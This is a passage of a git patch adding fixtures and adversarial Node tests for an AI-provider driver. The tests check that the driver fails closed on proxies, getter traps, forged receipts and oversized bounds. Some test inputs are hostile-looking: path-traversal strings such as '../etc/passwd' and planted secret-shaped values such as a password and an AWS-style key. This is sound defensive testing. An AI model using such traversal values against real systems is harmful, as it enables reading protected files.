caller code or advancing lanes toward a second dispatch. Shared fixtures keep the fake port exactly on its validated five-function surface. --- .../test/fixtures/r1-dsh-acpx-fixtures.mjs | 215 ++++++ .../r1-dsh-acpx-driver-adversarial.test.mjs | 480 +++++++++++++ .../test/r1-dsh-acpx-driver.test.mjs | 679 ++++++++++++++++++ 3 files changed, 1374 insertions(+) create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-dsh-acpx-fixtures.mjs create mode 100644 plugins/codex-co-engineer/test/r1-dsh-acpx-driver-adversarial.test.mjs create mode 100644 plugins/codex-co-engineer/test/r1-dsh-acpx-driver.test.mjs diff --git a/plugins/codex-co-engineer/test/fixtures/r1-dsh-acpx-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-dsh-acpx-fixtures.mjs new file mode 100644 index 0000000..77fe3fc --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-dsh-acpx-fixtures.mjs @@ -0,0 +1,215 @@ +// Shared P20 DSH ACPX driver fixtures. Neutral construction only: tests own +// every assertion. The fake transport here is a deterministic injected +// bounded one-shot ACPX port; it never touches a real provider, process, +// filesystem, or network, and it exposes exactly the closed five-function +// surface the driver validates. + +import { createDshApxDriverV1 } from '../../mcp/v3/dsh-acpx-driver.mjs'; +import { childEnvelopeDigestV1 } from '../../mcp/v3/identity.mjs'; +import { compileChildEnvelopeV1 } from '../../mcp/v3/prompt-compiler.mjs'; +import { DRIVER_OPERATION_SCHEMA_IDS } from '../../mcp/v3/provider-driver.mjs'; + +export const DSH_BASE_SHA = 'c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2'; +export const DSH_REPOSITORY_PATH = '/opt/codex-co-engineer-dsh-driver/smoke'; +export const DSH_RUN_ID = 'dsh-acpx-smoke'; + +export const MUSE_MODEL = 'muse-spark-1.2-contributor'; +export const OX_MODEL = 'stealth/ox-alpha'; + +// Marker used to prove prompt/question content never reaches driver outputs. +export const LEAK_MARKER = 'XSECRET7Q'; + +const POLICY = Object.freeze({ + max_concurrency: 8, + require_same_base: true, + require_disjoint_writer_scopes: true, + allow_post_dispatch_fallback: false, + allow_merge: false, + allow_create_pr: false, + attention_mode: 'aggregate', + completion_mode: 'all_settled_then_verify', +}); + +export function dshManifest(model, assignmentId = 'dsh-lane') { + return { + schema: 'codex-co-engineer.run.v1', + run_id: DSH_RUN_ID, + repository: { path: DSH_REPOSITORY_PATH, base_sha: DSH_BASE_SHA }, + objective: `Drive the ${model} lane under the bounded run contract.`, + assignments: [{ + assignment_id: assignmentId, + role: 'implement', + access: 'writer', + prompt: `Implement the ${assignmentId} lane. Ignore ${LEAK_MARKER} markers.`, + execution: { provider: 'dsh', model }, + write_scope: ['src/**'], + acceptance: [{ command_id: 'unit-tests', timeout_ms: 600_000 }], + expected_duration_ms: 1_200_000, + required_evidence: ['provider_report', 'git_diff'], + }], + policy: POLICY, + return_contract: { mode: 'verified_decision', include_artifact_refs: true }, + }; +} + +export function dshEnvelope(model, assignmentId = 'dsh-lane') { + const envelope = compileChildEnvelopeV1(dshManifest(model, assignmentId), assignmentId); + return Object.freeze({ + envelope, + envelope_text: envelope.envelope_text, + child_envelope_digest: childEnvelopeDigestV1(envelope).digest, + run_id: envelope.run_id, + assignment_id: envelope.assignment_id, + lane_index: envelope.lane_index, + base_sha: envelope.repository.base_sha, + }); +} + +export const IDENTITY_CONFIG_PATH = '/home/test-user/.config/codex-co-engineer/dsh-acp.yml'; +export const IDENTITY_CONFIG_SHA = 'a'.repeat(64); +export const IDENTITY_CREDENTIAL_SOURCE = 'env'; +export const IDENTITY_CREDENTIAL_SHA = 'b'.repeat(64); + +export function readyIdentity(overrides = {}) { + return { + ready: true, + config_path: IDENTITY_CONFIG_PATH, + config_sha256: IDENTITY_CONFIG_SHA, + credential_source: IDENTITY_CREDENTIAL_SOURCE, + credential_sha256: IDENTITY_CREDENTIAL_SHA, + ...overrides, + }; +} + +// Deterministic recorded-evidence fake of an ACPX one-shot port. Every knob +// is optional; defaults produce a healthy Muse lane that dispatches once and +// then reports running evidence with bounded status pages. +// +// Returns { port, calls, counts(), nextSeq() } where `port` is exactly the +// closed five-function transport record and the rest is test introspection +// kept OUTSIDE the validated surface. +export function fakeDshTransport({ + identity = readyIdentity(), + spawnReceipts, + polls, + eventPages, + cancelReceipts, + throwOnSpawn, + throwOnPoll, + throwOnEvents, + throwOnCancel, + throwOnIdentity, + recordCalls = true, +} = {}) { + let identityCalls = 0; + let spawnCalls = 0; + let pollCalls = 0; + let eventCalls = 0; + let cancelCalls = 0; + let seq = 0; + const calls = { configIdentity: [], spawn: [], poll: [], events: [], cancel: [] }; + const pick = (list, index, label) => { + if (!Array.isArray(list) || list.length === 0) return undefined; + const value = list[Math.min(index, list.length - 1)]; + if (value === undefined) throw new Error(`fixture missing ${label}[${index}]`); + return value; + }; + const correlationEcho = (request) => ({ session_ref: request.session_ref, ...request.correlation }); + const port = { + configIdentity(request) { + identityCalls += 1; + if (recordCalls) calls.configIdentity.push(request); + if (throwOnIdentity) throw throwOnIdentity(identityCalls); + if (typeof identity === 'function') return identity(identityCalls, request); + const entry = Array.isArray(identity) + ? pick(identity, identityCalls - 1, 'identity') + : identity; + return entry === undefined ? undefined : { ...entry }; + }, + spawn(request) { + spawnCalls += 1; + if (recordCalls) calls.spawn.push(request); + if (throwOnSpawn) throw throwOnSpawn(spawnCalls); + const raw = spawnReceipts ? pick(spawnReceipts, spawnCalls - 1, 'spawn receipt') : undefined; + return typeof raw === 'function' + ? raw(request, spawnCalls) + : raw ?? { session_ref: `sess-dsh-${String(spawnCalls).padStart(4, '0')}` }; + }, + poll(request) { + pollCalls += 1; + if (recordCalls) calls.poll.push(request); + if (throwOnPoll) throw throwOnPoll(pollCalls); + const defaults = { + state: 'running', event_count: 4, cursor: seq, + updated_at_ms: 1_000 + pollCalls, + }; + const raw = polls ? pick(polls, pollCalls - 1, 'poll receipt') : undefined; + // Function receipts take full control (adversarial shapes stay exact); + // object receipts merge over correlation and recorded-evidence defaults. + return typeof raw === 'function' + ? raw(request, pollCalls) + : { ...correlationEcho(request), ...defaults, ...raw }; + }, + events(request) { + eventCalls += 1; + if (recordCalls) calls.events.push(request); + if (throwOnEvents) throw throwOnEvents(eventCalls); + const rawPage = eventPages ? pick(eventPages, eventCalls - 1, 'event page') : undefined; + const page = typeof rawPage === 'function' + ? rawPage(request, eventCalls) + : rawPage ?? { + records: Array.from({ length: request.max_records }, () => ({ + seq: (seq += 1), kind: 'status', bytes: 16, + })), + next_cursor: seq, + truncated: false, + }; + return page; + }, + cancel(request) { + cancelCalls += 1; + if (recordCalls) calls.cancel.push(request); + if (throwOnCancel) throw throwOnCancel(cancelCalls); + const raw = cancelReceipts ? pick(cancelReceipts, cancelCalls - 1, 'cancel receipt') : undefined; + return typeof raw === 'function' + ? raw(request, cancelCalls) + : { ...correlationEcho(request), outcome: 'confirmed', ...raw }; + }, + }; + return { + port, + calls, + counts: () => ({ + configIdentity: identityCalls, spawn: spawnCalls, + poll: pollCalls, events: eventCalls, cancel: cancelCalls, + }), + nextSeq: () => (seq += 1), + }; +} + +export function createFixtureDriver(model, transportBundleOrPort, options = {}) { + const transport = transportBundleOrPort?.port ?? transportBundleOrPort; + return createDshApxDriverV1({ transport, workspace_mode: 'managed', ...options }); +} + +// Drive preflight -> launch so tests start from an honestly-uncertain lane. +export function dispatchLane(driver, fixture, requestExtras = {}) { + const requestFor = (operation, extras = {}) => ({ + schema: DRIVER_OPERATION_SCHEMA_IDS[operation], + version: 1, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + ...extras, + }); + const preflight = driver.preflight({ ...requestFor('preflight'), ...requestExtras.preflight }); + const launch = driver.launch({ ...requestFor('launch'), ...requestExtras.launch }); + return { + preflight, + launch, + requestFor, + reconcile: (extras = {}) => driver.reconcile(requestFor('reconcile', extras)), + cancel: (extras = {}) => driver.cancel(requestFor('cancel', extras)), + launchAgain: () => driver.launch(requestFor('launch')), + preflightAgain: () => driver.preflight(requestFor('preflight')), + }; +} diff --git a/plugins/codex-co-engineer/test/r1-dsh-acpx-driver-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-dsh-acpx-driver-adversarial.test.mjs new file mode 100644 index 0000000..a90946a --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-dsh-acpx-driver-adversarial.test.mjs @@ -0,0 +1,480 @@ +// Adversarial tests for the P20 DSH ACPX provider driver: hostile direct-JS +// options/transport surfaces, forged and malformed recorded-evidence +// receipts, replay/resend/fallback/substitution hostilities, pre-spawn +// marker forgery, bounds abuse, and content-leak attempts. Every case must +// fail closed with a stable typed code, must never execute caller code from +// hostile descriptors, and must never advance a lane toward a second dispatch. + +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { createDshApxDriverV1 } from '../mcp/v3/dsh-acpx-driver.mjs'; +import { childEnvelopeDigestV1 } from '../mcp/v3/identity.mjs'; +import { compileChildEnvelopeV1 } from '../mcp/v3/prompt-compiler.mjs'; +import { + DRIVER_OPERATION_SCHEMA_IDS, + PROVIDER_DRIVER_VERSION, + validateDriverLaunchRequestV1, +} from '../mcp/v3/provider-driver.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + dshManifest, + LEAK_MARKER, + MUSE_MODEL, + OX_MODEL, + createFixtureDriver, + dispatchLane, + dshEnvelope, + fakeDshTransport, + readyIdentity, +} from './fixtures/r1-dsh-acpx-fixtures.mjs'; + +function expectCode(fn, code, message) { + // A wildcard (undefined) code accepts any typed contract denial. + assert.throws(fn, (error) => error instanceof RunContractV1Error + && (code === undefined || error.code === code), message); +} + +function requestFor(fixture, operation, overrides = {}, mutate) { + const request = { + schema: DRIVER_OPERATION_SCHEMA_IDS[operation], + version: PROVIDER_DRIVER_VERSION, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + ...overrides, + }; + if (mutate) mutate(request); + return request; +} + +test('factory options reject proxies, accessors, symbols, and forbidden authorities without running traps', () => { + const base = () => fakeDshTransport(); + let getterRuns = 0; + const accessorOptions = () => { + const options = { transport: base().port, workspace_mode: 'managed' }; + Object.defineProperty(options, 'workspace_mode', { + enumerable: true, + get() { + getterRuns += 1; + return 'managed'; + }, + }); + return options; + }; + expectCode(() => createDshApxDriverV1(accessorOptions()), 'invalid_object', + 'accessor options are not enumerable data properties'); + assert.equal(getterRuns, 0, 'option getters must never run during validation'); + + expectCode(() => createDshApxDriverV1(new Proxy({ transport: base().port, workspace_mode: 'managed' }, {})), + 'proxy_denied'); + const revocable = Proxy.revocable({ transport: base().port, workspace_mode: 'managed' }, {}); + revocable.revoke(); + expectCode(() => createDshApxDriverV1(revocable.proxy), 'proxy_denied'); + + const symbolOptions = { transport: base().port, workspace_mode: 'managed' }; + symbolOptions[Symbol('hidden')] = 'x'; + expectCode(() => createDshApxDriverV1(symbolOptions), 'invalid_object', + 'symbol keys are not string data keys'); + + const hiddenOptions = { transport: base().port, workspace_mode: 'managed' }; + Object.defineProperty(hiddenOptions, 'transport', { enumerable: false, value: base().port }); + expectCode(() => createDshApxDriverV1(hiddenOptions), 'invalid_object'); + + for (const [label, options] of Object.entries({ + 'missing workspace_mode': { transport: base().port }, + 'direct mode': { transport: base().port, workspace_mode: 'direct' }, + 'invented mode': { transport: base().port, workspace_mode: 'provider_managed' }, + 'merge authority': { transport: base().port, workspace_mode: 'managed', allow_merge: true }, + 'create pr': { transport: base().port, workspace_mode: 'managed', create_pr: true }, + 'fallback provider': { transport: base().port, workspace_mode: 'managed', fallback_provider: 'grok' }, + 'retry budget': { transport: base().port, workspace_mode: 'managed', retry_dispatch: 3 }, + 'missing transport': { workspace_mode: 'managed' }, + 'null transport': { transport: null, workspace_mode: 'managed' }, + 'clock proxy': { transport: base().port, workspace_mode: 'managed', now: new Proxy(() => 0, {}) }, + 'clock object': { transport: base().port, workspace_mode: 'managed', now: {} }, + })) { + expectCode(() => createDshApxDriverV1(options), undefined, `${label} must be denied`); + } +}); + +test('direct-mode and merge-authority keys on driver requests keep their shared denial codes', () => { + const fixture = dshEnvelope(MUSE_MODEL); + for (const [key, value, code] of [ + ['workspace_mode', 'direct', 'direct_mode_rejected'], + ['direct_mode', true, 'direct_mode_rejected'], + ['allow_merge', true, 'merge_authority_denied'], + ['create_pr', true, 'merge_authority_denied'], + ['fallback', true, 'replay_or_fallback_denied'], + ['resend', true, 'replay_or_fallback_denied'], + ['retry_dispatch', 'now', 'replay_or_fallback_denied'], + ['allow_post_dispatch_fallback', true, 'replay_or_fallback_denied'], + ['relaunch_attempts', 2, 'unknown_key'], + ['reply', { session_id: 's', response: 'hi' }, 'unknown_key'], + ['new_session', true, 'unknown_key'], + ]) { + expectCode( + () => validateDriverLaunchRequestV1(requestFor(fixture, 'launch', { [key]: value })), + code, `${key} must be denied with ${code}`); + } +}); + +test('digest-only launches and tampered envelopes stay denied through the accepted contract', () => { + const fixture = dshEnvelope(MUSE_MODEL); + expectCode(() => validateDriverLaunchRequestV1({ + schema: DRIVER_OPERATION_SCHEMA_IDS.launch, + version: PROVIDER_DRIVER_VERSION, + child_envelope_digest: fixture.child_envelope_digest, + }), 'digest_only_launch_denied'); + + const flipped = `${fixture.child_envelope_digest.slice(0, 63)}${fixture.child_envelope_digest.endsWith('0') ? '1' : '0'}`; + expectCode(() => validateDriverLaunchRequestV1(requestFor(fixture, 'launch', { + child_envelope_digest: flipped, + })), 'child_envelope_digest_mismatch'); + + const tampered = `${fixture.envelope_text.slice(0, -1)}x`; + // The strict parser denies the damaged bytes with its own typed code. + expectCode(() => validateDriverLaunchRequestV1({ + schema: DRIVER_OPERATION_SCHEMA_IDS.launch, + version: PROVIDER_DRIVER_VERSION, + envelope_text: tampered, + child_envelope_digest: fixture.child_envelope_digest, + }), undefined, 'tampered envelope bytes must be denied'); +}); + +test('forged spawn receipts degrade to honest uncertainty instead of a resend', () => { + for (const [label, receipt] of Object.entries({ + 'bad grammar': { session_ref: '../escape' }, + 'empty ref': { session_ref: '' }, + 'oversized ref': { session_ref: `s${'x'.repeat(200)}` }, + 'wrong type': { session_ref: 42 }, + 'extra key': { session_ref: 'sess-ok-0001', pid: 7 }, + 'accessor': (() => { + const receipt = {}; + Object.defineProperty(receipt, 'session_ref', { + enumerable: true, get() { return 'sess-ok-0001'; }, + }); + return receipt; + })(), + })) { + const transport = fakeDshTransport({ spawnReceipts: [receipt] }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const lane = dispatchLane(driver.driver, dshEnvelope(MUSE_MODEL)); + assert.equal(lane.launch.disposition, 'dispatch_uncertain', + `forged spawn receipt (${label}) must stay uncertain`); + expectCode(() => lane.launchAgain(), 'replay_denied', label); + assert.equal(transport.counts().spawn, 1, `no resend after forged receipt (${label})`); + } +}); + +test('pre-spawn markers cannot be forged through getters or exotic prototypes', () => { + const getterMarked = {}; + Object.defineProperty(getterMarked, 'phase', { + enumerable: true, get() { return 'prespawn'; }, + }); + Object.defineProperty(getterMarked, 'code', { enumerable: true, value: 'port_denied' }); + + const subclassed = Object.assign(new (class PortError extends Error {})('nope'), { + phase: 'prespawn', code: 'port_denied', + }); + + const phaseOnly = Object.assign(new Error('half marked'), { phase: 'prespawn' }); + const codeGetter = Object.assign(new Error('getter code'), { phase: 'prespawn' }); + Object.defineProperty(codeGetter, 'code', { enumerable: true, get() { return 'port_denied'; } }); + + for (const [label, error] of Object.entries({ + getterPhase: getterMarked, + subclassedPrototype: subclassed, + phaseOnly, + getterCode: codeGetter, + stringThrown: 'prespawn', + plainMarker: { phase: 'prespawn', code: 'PORT-DENIED' }, + })) { + const transport = fakeDshTransport({ throwOnSpawn: () => error }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const lane = dispatchLane(driver.driver, dshEnvelope(MUSE_MODEL)); + assert.equal(lane.launch.disposition, 'dispatch_uncertain', + `unprovable pre-spawn marker (${label}) must stay uncertain`); + assert.notEqual(lane.launch.detail_code, 'transport_prespawn_denied', label); + } +}); + +test('total post-dispatch transport failure never unlocks a replay or a substitution', () => { + const fixture = dshEnvelope(OX_MODEL); + const transport = fakeDshTransport({ + throwOnPoll: () => new Error('evidence vanished'), + throwOnEvents: () => new Error('evidence vanished'), + throwOnCancel: () => new Error('control channel gone'), + }); + const driver = createFixtureDriver(OX_MODEL, transport); + const lane = dispatchLane(driver.driver, fixture); + assert.equal(lane.launch.disposition, 'dispatch_uncertain'); + + // Observation loss is honest uncertainty, never a terminal invention. + assert.equal(lane.reconcile({ intent: 'restart_reattach' }).disposition, 'dispatch_uncertain'); + assert.equal(lane.reconcile({ include: ['live_progress'] }).detail_code, 'evidence_absent'); + + // Cancellation stays typed-unresolved and may be retried as control plane. + expectCode(() => lane.cancel(), 'dsh_cancel_unresolved'); + expectCode(() => lane.cancel(), 'dsh_cancel_unresolved'); + + // And the lane still refuses any relaunch or provider/model substitution. + expectCode(() => lane.launchAgain(), 'replay_denied'); + + const museManifest = JSON.parse(JSON.stringify(dshManifest(MUSE_MODEL))); + museManifest.assignments[0].assignment_id = fixture.assignment_id; + const museEnvelope = compileChildEnvelopeV1(museManifest, fixture.assignment_id); + expectCode(() => driver.driver.preflight(requestFor(museEnvelope && { + ...fixture, + envelope_text: museEnvelope.envelope_text, + child_envelope_digest: childEnvelopeDigestV1(museEnvelope).digest, + }, 'preflight')), 'stale_identity_denied', + 'the same lane cannot be re-preflighted onto another model after dispatch'); +}); + +test('malformed poll receipts fail closed with typed codes and never advance the lane', () => { + const fixture = dshEnvelope(MUSE_MODEL); + const goodReceipt = (request) => ({ + session_ref: request.session_ref, ...request.correlation, + state: 'running', event_count: 1, cursor: 1, updated_at_ms: 10, + }); + const cases = { + 'unknown state': (request) => ({ ...goodReceipt(request), state: 'zombie' }), + 'stop reason on running': (request) => ({ ...goodReceipt(request), stop_reason: 'end_turn' }), + 'question on running': (request) => ({ ...goodReceipt(request), question_ref: 'q-1' }), + 'bad question grammar': (request) => ({ + ...goodReceipt(request), state: 'needs_attention', question_ref: '../etc/passwd', + }), + 'event count float': (request) => ({ ...goodReceipt(request), event_count: 1.5 }), + 'cursor over bound': (request) => ({ ...goodReceipt(request), cursor: 1_000_000_001 }), + 'updated at over bound': (request) => ({ ...goodReceipt(request), updated_at_ms: 5e12 }), + 'uppercase digest': (request) => ({ + ...goodReceipt(request), + child_envelope_digest: request.correlation.child_envelope_digest.toUpperCase(), + }), + 'missing state': (request) => { + const receipt = goodReceipt(request); + delete receipt.state; + return receipt; + }, + 'extra key': (request) => ({ ...goodReceipt(request), raw: 'provider output text' }), + 'own undefined': (request) => { + const receipt = goodReceipt(request); + receipt.question_ref = undefined; + return receipt; + }, + 'null receipt': () => null, + 'array receipt': () => [], + 'leak attempt': (request) => ({ + ...goodReceipt(request), state: 'needs_attention', + question_ref: `q-${LEAK_MARKER}`, + leak_attempt: `${LEAK_MARKER} provider-authored text`, + }), + }; + for (const [label, receipt] of Object.entries(cases)) { + const transport = fakeDshTransport({ polls: [receipt] }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const lane = dispatchLane(driver.driver, fixture); + expectCode(() => lane.reconcile(), undefined, `poll receipt (${label}) must be denied`); + const counts = transport.counts(); + assert.equal(counts.spawn, 1); + // The lane was untouched by the denied observation; a healthy port still reconciles. + } + const healed = fakeDshTransport({ polls: [goodReceipt] }); + const healedDriver = createFixtureDriver(MUSE_MODEL, healed); + const healedLane = dispatchLane(healedDriver.driver, fixture); + assert.equal(healedLane.reconcile().disposition, 'in_progress'); +}); + +test('hostile event pages are rejected wholesale and leak nothing', () => { + const fixture = dshEnvelope(MUSE_MODEL); + const pageWith = (records, nextCursorDelta = 0) => [(request) => ({ + records, + next_cursor: request.cursor + nextCursorDelta + records.length, + truncated: false, + })]; + const cases = { + 'sparse records': [(request) => { + const records = [{ seq: request.cursor + 1, kind: 'status', bytes: 1 }]; + records[5] = { seq: request.cursor + 9, kind: 'status', bytes: 1 }; + return { records, next_cursor: request.cursor + 10, truncated: false }; + }], + 'record extra key': pageWith([{ seq: 1, kind: 'status', bytes: 1, text: LEAK_MARKER }]), + 'record unknown kind': pageWith([{ seq: 1, kind: 'raw_output', bytes: 1 }]), + 'record negative bytes': pageWith([{ seq: 1, kind: 'status', bytes: -1 }]), + 'record bytes over bound': pageWith([{ seq: 1, kind: 'status', bytes: 4097 }]), + 'record non-increasing seq': pageWith([ + { seq: 1, kind: 'status', bytes: 1 }, { seq: 1, kind: 'status', bytes: 1 }, + ]), + 'record accessor': pageWith([(() => { + const record = {}; + Object.defineProperty(record, 'seq', { enumerable: true, get() { return 1; } }); + record.kind = 'status'; + record.bytes = 1; + return record; + })()]), + 'truncated non-boolean': [(request) => ({ + records: [], next_cursor: request.cursor, truncated: 'yes', + })], + 'next cursor backwards': [(request) => ({ + records: [], next_cursor: -1, truncated: false, + })], + 'aliased records': [(request) => { + const shared = { seq: request.cursor + 1, kind: 'status', bytes: 1 }; + return { records: [shared, shared], next_cursor: request.cursor + 2, truncated: false }; + }], + }; + for (const [label, eventPages] of Object.entries(cases)) { + const transport = fakeDshTransport({ polls: [{ state: 'running' }], eventPages }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const lane = dispatchLane(driver.driver, fixture); + expectCode(() => lane.reconcile({ include: ['detailed_events'] }), undefined, label); + const serialized = JSON.stringify([...transport.calls.poll]); + assert.ok(!serialized.includes(LEAK_MARKER), label); + } +}); + +test('identity receipts cannot smuggle unavailable reasons past validation', () => { + const fixture = dshEnvelope(MUSE_MODEL); + const preflightRequest = requestFor(fixture, 'preflight'); + const cases = { + 'bogus reason': { ready: false, reason: 'operator_felt_tired' }, + 'reason on ready': readyIdentity({ reason: 'config_unavailable' }), + 'relative config path': readyIdentity({ config_path: 'relative/dsh-acp.yml' }), + 'windows path': readyIdentity({ config_path: '\\\\server\\share\\dsh-acp.yml' }), + 'short digest': readyIdentity({ config_sha256: 'abc' }), + 'credential source env file hybrid': readyIdentity({ credential_source: 'both' }), + 'ready not boolean': { ...readyIdentity({}), ready: 'true' }, + 'proxy receipt': new Proxy(readyIdentity(), {}), + }; + for (const [label, identity] of Object.entries(cases)) { + const driver = createFixtureDriver(MUSE_MODEL, fakeDshTransport({ identity: () => identity })); + expectCode(() => driver.driver.preflight(preflightRequest), undefined, `identity (${label})`); + } +}); + +test('cancel receipts are held to the same closed shape', () => { + const fixture = dshEnvelope(MUSE_MODEL); + for (const [label, cancelReceipts] of Object.entries({ + 'unknown outcome': [{ outcome: 'maybe' }], + 'missing outcome': [(request) => ({ + session_ref: request.session_ref, ...request.correlation, + })], + 'outcome wrong type': [{ outcome: 1 }], + 'foreign session': [{ + outcome: 'confirmed', session_ref: 'sess-other-0001', + }], + 'accessor outcome': [(() => { + const build = (request) => { + const built = { session_ref: request.session_ref, ...request.correlation }; + Object.defineProperty(built, 'outcome', { + enumerable: true, get() { return 'confirmed'; }, + }); + return built; + }; + return build; + })()], + })) { + const transport = fakeDshTransport({ cancelReceipts }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const lane = dispatchLane(driver.driver, fixture); + expectCode(() => lane.cancel(), undefined, `cancel receipt (${label})`); + } +}); + +test('bounds abuse fails closed: oversized lanes, budgets, cursors, and timing', () => { + const fixture = dshEnvelope(MUSE_MODEL); + + // Lane budget. + const fleet = createFixtureDriver(MUSE_MODEL, fakeDshTransport()); + for (let index = 0; index < 64; index += 1) { + const laneFixture = dshEnvelope(MUSE_MODEL, `fleet-${String(index).padStart(2, '0')}`); + fleet.driver.preflight(requestFor(laneFixture, 'preflight')); + } + expectCode(() => fleet.driver.preflight(requestFor(dshEnvelope(MUSE_MODEL, 'fleet-over'), 'preflight')), + 'lane_budget_exceeded'); + + // Cursor abuse through a receipt that claims an impossible cursor. + const cursorAbuse = fakeDshTransport({ + polls: [(request) => ({ + session_ref: request.session_ref, ...request.correlation, + state: 'running', event_count: 1025, cursor: 2_000_000_000, updated_at_ms: 10, + })], + }); + const cursorDriver = createFixtureDriver(MUSE_MODEL, cursorAbuse); + const cursorLane = dispatchLane(cursorDriver.driver, fixture); + expectCode(() => cursorLane.reconcile(), 'invalid_format'); + + // Clock abuse: NaN and out-of-range readings deny before any transport call. + for (const clock of [() => Number.NaN, () => 4102444800001]) { + const transport = fakeDshTransport(); + const driver = createFixtureDriver(MUSE_MODEL, transport, { now: clock }); + expectCode(() => driver.driver.preflight(requestFor(fixture, 'preflight')), 'invalid_format'); + assert.equal(transport.counts().configIdentity, 0); + } + + // A throwing clock denies too. + const throwingClock = fakeDshTransport(); + const throwingDriver = createFixtureDriver(MUSE_MODEL, throwingClock, { + now: () => { + throw new Error('clock exploded'); + }, + }); + expectCode(() => throwingDriver.driver.preflight(requestFor(fixture, 'preflight')), 'invalid_format'); + assert.equal(throwingClock.counts().configIdentity, 0); +}); + +test('the ox-alpha lane rejects muse-model evidence and vice versa', () => { + for (const model of [MUSE_MODEL, OX_MODEL]) { + const otherModel = model === MUSE_MODEL ? OX_MODEL : MUSE_MODEL; + const fixture = dshEnvelope(model); + const corruptedModel = (request) => ({ + session_ref: request.session_ref, + ...request.correlation, + model: otherModel, + }); + const transport = fakeDshTransport({ + polls: [(request) => ({ + ...corruptedModel(request), + state: 'running', event_count: 1, cursor: 1, updated_at_ms: 10, + })], + cancelReceipts: [(request) => ({ ...corruptedModel(request), outcome: 'confirmed' })], + }); + const driver = createFixtureDriver(model, transport); + const lane = dispatchLane(driver.driver, fixture); + expectCode(() => lane.reconcile(), 'dsh_correlation_mismatch', + `${otherModel} evidence must not serve a ${model} lane`); + expectCode(() => lane.cancel(), 'dsh_correlation_mismatch'); + } +}); + +test('results never carry provider-authored text even from deeply hostile transports', () => { + const fixture = dshEnvelope(MUSE_MODEL); + const hostileText = `${LEAK_MARKER} token sk-abc123defghijk password=hunter2 AKIAIOSFODNN7EXAMPLE`; + const transport = fakeDshTransport({ + polls: [(request) => ({ + session_ref: request.session_ref, ...request.correlation, + state: 'needs_attention', + event_count: 3, cursor: 3, updated_at_ms: 20, + question_ref: `q-${LEAK_MARKER}`, + })], + eventPages: [(request) => ({ + records: Array.from({ length: request.max_records }, (_, index) => ({ + seq: index + 1, kind: 'text_delta', bytes: 2048, + })), + next_cursor: request.max_records, + truncated: true, + })], + }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const lane = dispatchLane(driver.driver, fixture); + const seen = [ + lane.reconcile({ include: ['detailed_events', 'live_progress'], intent: 'restart_reattach' }), + lane.cancel(), + ]; + for (const result of seen) { + const serialized = JSON.stringify(result); + assert.ok(!serialized.includes(LEAK_MARKER), 'marker leaked into results'); + assert.ok(!serialized.includes('hunter2'), 'secret-shaped text leaked into results'); + assert.ok(!serialized.includes('AKIAIOSFODNN7'), 'aws-style token leaked into results'); + } +}); diff --git a/plugins/codex-co-engineer/test/r1-dsh-acpx-driver.test.mjs b/plugins/codex-co-engineer/test/r1-dsh-acpx-driver.test.mjs new file mode 100644 index 0000000..c1659d0 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-dsh-acpx-driver.test.mjs @@ -0,0 +1,679 @@ +// Runtime tests for the P20 DSH ACPX provider driver: hard provider/model +// binding, the four P17 lifecycle operations over an injected bounded +// one-shot transport port, honest post-spawn uncertainty (no replay, +// retry, or fallback), unsupported same-session reply surfacing, recorded- +// evidence reconcile/restart recovery and cancellation confirmation, exact +// identity/correlation drift denials, bounds, and content-free telemetry. +// No real DSH transport is configured or qualified here. + +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { + DSH_ALLOWED_MODELS, + DSH_ACPX_TRANSPORT_KEYS, + DSH_CANCEL_OUTCOMES, + DSH_DETAIL_CODES, + DSH_EVIDENCE_STATES, + DSH_EVENT_KINDS, + DSH_MAX_CURSOR, + DSH_MAX_EVENT_PAGE_RECORDS, + DSH_MAX_EVENT_RECORD_BYTES, + DSH_MAX_LANES, + DSH_MAX_LAUNCH_ATTEMPTS, + DSH_MAX_LANE_OPERATIONS, + DSH_MAX_RECORDED_EVENTS, + DSH_MODEL_IDENTITIES, + DSH_PROVIDER, + DSH_STOP_REASONS, + assertDshAcpTransportV1, + createDshApxDriverV1, + describeDshApxDriverV1, + validateDshConfigIdentityV1, +} from '../mcp/v3/dsh-acpx-driver.mjs'; +import { childEnvelopeDigestV1 } from '../mcp/v3/identity.mjs'; +import { compileChildEnvelopeV1 } from '../mcp/v3/prompt-compiler.mjs'; +import { + DRIVER_DECLARATION_SCHEMA_ID, + PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID, + assertCapabilityRequirementV1, + assertProviderDriverV1, +} from '../mcp/v3/provider-driver.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { CLOUD_STARTING_REF } from './fixtures/r1-resolver-fixtures.mjs'; +import { + dshManifest, + LEAK_MARKER, + MUSE_MODEL, + OX_MODEL, + createFixtureDriver, + dispatchLane, + dshEnvelope, + fakeDshTransport, + readyIdentity, +} from './fixtures/r1-dsh-acpx-fixtures.mjs'; +import { runProviderDriverContractSuiteV1 } from './provider-driver-contract-suite.mjs'; + +function expectCode(fn, code, message) { + // A wildcard (undefined) code accepts any typed contract denial. + assert.throws(fn, (error) => error instanceof RunContractV1Error + && (code === undefined || error.code === code), message); +} + +const CONTENT_FREE_DETAIL = /^[A-Za-z0-9_=.:/ -]+$/u; + +test('factory surface is closed, frozen, and hard-bound to dsh with exactly two models', () => { + const facade = createFixtureDriver(MUSE_MODEL, fakeDshTransport()); + assert.equal(facade.schema, 'codex-co-engineer.dsh-acpx-driver.v1'); + assert.equal(facade.version, 1); + assert.equal(facade.provider, DSH_PROVIDER); + assert.deepEqual([...facade.models], [MUSE_MODEL, OX_MODEL]); + 